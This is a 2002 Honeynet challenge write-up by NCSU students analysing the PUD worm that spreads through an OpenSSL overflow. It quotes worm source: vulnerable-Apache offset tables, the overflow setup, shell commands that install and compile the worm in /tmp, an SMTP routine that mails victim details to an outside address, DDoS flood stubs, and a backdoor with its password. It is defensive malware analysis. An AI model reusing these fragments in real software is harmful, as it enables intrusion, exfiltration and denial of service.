size=5>I. Introduction

The Challenge of the Month for November 2002 is to analyze a worm captured in the wild, the details of which are located here. This document is organzied first by the answers to the questions, then the methods used to arrive at the answers, and lastly by the concluding statements. The toolbar located above can be used at any time to move to a different section.

The team members for this challenge were Joe Sremack and Jim Yuill, grad students at North Carolina State University.

II. Answers to the Questions

Question 1. Which is the type of the .unlock file? When was it generated?

.unlock is a Gzip archive file, and it was generated on 9/20/2002 at 6:59 AM. Further Analysis

Question 2. Based on the source code, who is the author of this worm? When it was created? Is it compatible with the date from question 1?

The PUD attack was originally written by contem@efnet, but modifications were made by aion (aion@ukr.net). It was created 9/20/2002, which means that the Gzip creation date is compatible with the worm's comments. Further Analysis

Question 3. Which process name is used by the worm when it is running?

"httpd " is the process name. Further Analysis

Question 4. In wich format the worm copies itself to the new infected machine? Which files are created in the whole process? After the worm executes itself, wich files remain on the infected machine?

The worm is copied in a uuencoded format, and the following files are created in the /tmp directory: .unlock, httpd , and update. After the worm executes, the backdoor, update, and the worm itself, httpd , remain. Further Analysis

Question 5. Which port is scanned by the worm?

80 Further Analysis

Question 6. Which vulnerability the worm tries to exploit? In which architectures?

The exploit is an OpenSSL buffer overflow:
Question 7. What kind of information is sent by the worm by email? To which account?

The hostname and the hostid of the machine, along with the IP address of the machine that comprimised the machine are sent to aion@ukr.net Further Analysis

Question 8. Which port (and protocol) is used by the worm to communicate to other infected machines?

The UDP port 4156 is used by the worm to communicate with other infected machines. Further Analysis

Question 9. Name 3 functionalities built in the worm to attack other networks.

A UDP flood, a TCP flood for both IPv4 and IPv6, and a DNS flood. Further Analysis

Question 10. What is the purpose of the .update.c program? Which port does it use?

update is a password-protected backdoor that creates an interactive shell if the correct password is supplied, and it uses port 1052. Further Analysis

Question 11. Bonus Question: What is the purpose of the SLEEPTIME and UPTIME values in the .update.c program?

SLEEPTIME is the time period (5 minutes) used to stop update from listening for incoming connections to 1052. UPTIME is the time period (10 seconds) used to accept incoming connections to update. Further Analysis

III. Investigation

The following is the listing of steps used to analyze .unlock. First, .unlock was downloaded from the contest webpage. Then, the md5 checksum from the webpage was compared to the output from running md5sum on .unlock; the checksums matched.

Question 1. The file was then analyzed in WinHex to determine the file type. The following shows that the first 8 bytes of the header are "1F 8B 08 00", which means that .unlock is a Gzip file.




Next, the file was extracted using gzip such that the orginal properties of the compressed file was maintained.

% mv .unlock unlock.gz
% gzip -dN unlock.gz

The uncompressed file, unlock, is examined to show that the original creation date is September 20 at 6:59AM.

% ls -l unlock
-rw-r--r-- 1 jcsremac ncsu 81920 Sep 20 06:59 unlock

BACK

Question 2. unlock is a tar archive that contains the C source code files .unlock.c and .update.c, so it is untarred to extract its two files: .unlock.c and .update.c.

% tar xvf unlock
x .unlock.c, 70981 bytes, 139 tape blocks
x .update.c, 2792 bytes, 6 tape blocks


.unlock.c contains the following comments about the creators of this worm:

* Peer-to-peer UDP Distributed Denial of Service (PUD) *
* by contem@efnet *

* some modification done by aion (aion@ukr.net) *

Further background information is provided in the form of the worm's version, which is presumably the date of this worm's release:

#define VERSION 20092002

This date matches unlock's creation date, 9/20/2002.

The remainder of the analysis answers the following three questions in order: how the worm gets onto a machine, what it does once it is onto a machine, and how it spreads to other machines.

BACK

Question 5. The worm scans for victim machines by trying to establish a TCP connection on port 80.

#define SCANPORT 80
atcp_sync_connect(&clients[n],srv,SCANPORT);

BACK

Question 6. To get onto a machine, the worm exploits a buffer overflow vulnerability in OpenSSL. First, the worm sends a malformed HTTP request that does not contain a host request header.

sin.sin_port = htons(80);

if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL;
write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));

This request is used to get version information about the system and Apache in order to determine if the system is vulnerable to the buffer overflow. The returned message will be an HTTP 400 Bad Request Reply in which the field "Server" contains the Apache version. The following code is how the worm reads the Bad Request Reply and determines if the system's software is vulnerable.

if ((a=GetAddress(ip)) == NULL) exit(0);
if (strncmp(a,"Apache",6)) exit(0);
for (i=0;i < MAX_ARCH; i++) {
    if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
     arch=i;
     break;
    }
}

The array architectures[] is the list of vulnerable OSes. Only certain Linux distributions are vulnerable to this attack; Windows, Macintosh, and other Unix variants, including FreeBSD, are immune to this attack:

#undef FREEBSD

architectures[] = {
{"Gentoo", "", 0x08086c34},
{"Debian", "1.3.26", 0x080863cc},
{"Red-Hat", "1.3.6", 0x080707ec},
{"Red-Hat", "1.3.9", 0x0808ccc4},
{"Red-Hat", "1.3.12", 0x0808f614},
{"Red-Hat", "1.3.12", 0x0809251c},
{"Red-Hat", "1.3.19", 0x0809af8c},
{"Red-Hat", "1.3.20", 0x080994d4},
{"Red-Hat", "1.3.26", 0x08161c14},
{"Red-Hat", "1.3.23", 0x0808528c},
{"Red-Hat", "1.3.22", 0x0808400c},
{"SuSE", "1.3.12", 0x0809f54c},
{"SuSE", "1.3.17", 0x08099984},
{"SuSE", "1.3.19", 0x08099ec8},
{"SuSE", "1.3.20", 0x08099da8},
{"SuSE", "1.3.23", 0x08086168},
{"SuSE", "1.3.23", 0x080861c8},
{"Mandrake", "1.3.14", 0x0809d6c4},
{"Mandrake", "1.3.19", 0x0809ea98},
{"Mandrake", "1.3.20", 0x0809e97c},
{"Mandrake", "1.3.23", 0x08086580},
{"Slackware", "1.3.26", 0x083d37fc},
{"Slackware", "1.3.26",0x080b2100}
};

If the Linux distribution does not match one of these, RedHat 1.3.23 is used as the default. The following shows that if an error occurs (the system's distribution does not match one from the list), the default is used.

if (arch == -1) arch=9;

Next, if the worm can connect to the machine, it establishes a a SSLv2 connection and sends an overly large client key to cause a buffer overflow.

overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
*(int*)&overwrite_next_chunk[156] = cipher;
*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
*(int*)&overwrite_next_chunk[196] = ciphers + 16;
send_client_hello(ssl2);
get_server_hello(ssl2);
send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);

After the buffer overflow occurs, the worm instatiates a bash shell in order to install itself onto the victim host.

sh(ssl2->sock);

int sh(int sockfd) {
  char localip[256], rcv[1024];
  fd_set rset;
  int maxfd, n;
  alarm(3600);
  conv(localip,256,myip);
  memset(rcv,0,1024); // aion
  writem(sockfd,"export TERM=xterm;export HOME=/tmp;export HISTFILE=/dev/null;" "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin;" "exec bash -i\n");

BACK

Question 4. After gaining shell access, the worm removes any old files from a previous infection by the worm. Then it uuencodes the worm into .unlock.uu in order to send the worm to the victim. Once the victim receives the .unlock.uu, it is decoded and the following files are placed in the victim's /tmp directory: .unlock.c and .update.c, both of which are compiled on the victim's system.

writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
" /tmp/httpd /tmp/update /tmp/.unlock; \n");
writem(sockfd,"cat > /tmp/.unlock.uu << __eof__; \n");
zhdr(1);
encode(sockfd);
zhdr(0);
writem(sockfd,"__eof__\n");
writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu; "
"tar xzf /tmp/.unlock -C /tmp/; "
"gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto; "
"gcc -o /tmp/update /tmp/.update.c;\n");
sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip);
writem(sockfd,rcv);


Next, the worm removes .unlock.uu, .unlock.c, and .update.c, leaving httpd and update on the victim, both of which are then executed.

writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
   " /tmp/httpd /tmp/update; exit; \n");

BACK

Question 3. The worm's process name is "httpd ".

#define PSNAME "httpd "

strcpy(argv[0],PSNAME);

BACK

Question 7. When the worm infects the machine, it sends the hostname and host id of the infected machine along with the IP address of the machine from which the attack came. This information is then E-mailed to aion@ukr.net using the freemail.ukr.net mail server.

#define MAILSRV "freemail.ukr.net"
#define MAILTO "aion@ukr.net"

int mailme(char *sip) {

gethostname(buffer,128);
sprintf(cmdbuf,"helo test\r\n");     writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"mail from: test@microsoft.com\r\n");     writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n");     writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"data\r\n");     writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf," hostid: %d \r\n"
    " hostname: %s \r\n"
    " att_from: %s \r\n",gethostid(),buffer,sip);
   /* sip is argv[1], which is the IP address of the
   /* other machine on the virtual network */

BACK

Question 8. The worm is unique in that it creates a virtual peer-to-peer network. The machines are able to communicate and coordinate attacks by communicating through port 4156 using the UDP protocol. The followining code segments show the port number being defined, the udpserver being declared, and the functions for relaying and listening for UDP messages.

#define PORT 4156

struct ainst udpserver;

audp_relay(&udpserver,&ts,srv,PORT);

if (audp_listen(&udpserver,PORT) != 0) {
   printf("Error: %s\n",aerror(&udpserver));
   return 0;
}

BACK

Question 9. With this peer-to-peer network, three different types of attacks can be carried out in a coordinated fashion. They are a UDP flood, a TCP flood for either IPv4 or IPv6, and a DNS flood. The code below shows the four attack types being declared.

case 0x29: { // Udp flood

case 0x2A: { // Tcp flood

case 0x2B: { // IPv6 Tcp flood

case 0x2C: { // Dns flood

BACK

Question 10. .update.c is a password-protected backdoor that gives an interactive shell when someone logs into it and supplies the password "aion1981". The backdoor's process name is "update   ", and it listens on port 1052.

#define PORT 1052
#define PASS "aion1981"
#define PSNAME "update " // what copy to argv[0]

strcpy(argv[0],PSNAME);

serv_addr.sin_port = htons(PORT);

if( !strncmp(temp_buff,PASS,strlen(PASS)) )
   execl("/bin/sh","sh -i",(char *)0);

BACK

Question 11. "update   " only listens for 10 seconds (defined by UPTIME) at a time, and then it sleeps for 5 minutes (defined by SLEEPTIME). The code below shows that a 'for' loop that accepts incoming connections runs for 10 seconds, but after the for loop finishes, the process sleeps for 5 minutes.

#define SLEEPTIME 300 // sleep 5 min.
#define UPTIME 10 // listen 10 sec.

for(stimer=time(NULL);(stimer+UPTIME)>time(NULL);)
{
   soc_cli = accept(soc_des,
    (struct sockaddr *) &client_addr, sizeof(client_addr));

sleep(SLEEPTIME);

BACK

IV. Concluding Remarks

The equpiment used for this challenge was a 600MHz Pentium II with 192MB RAM running Windows XP Professional and, through VMware Workstation 3.2, RedHat Linux 8.0.

The team members here at NCSU would like to thank the Honeynet.BR team for this month's fun and unique challenge.

Joe Sremack (jcsremac@unity.ncsu.edu) and Jim Yuill (jimyuill@pobox.com)
North Carolina State University
November 27, 2002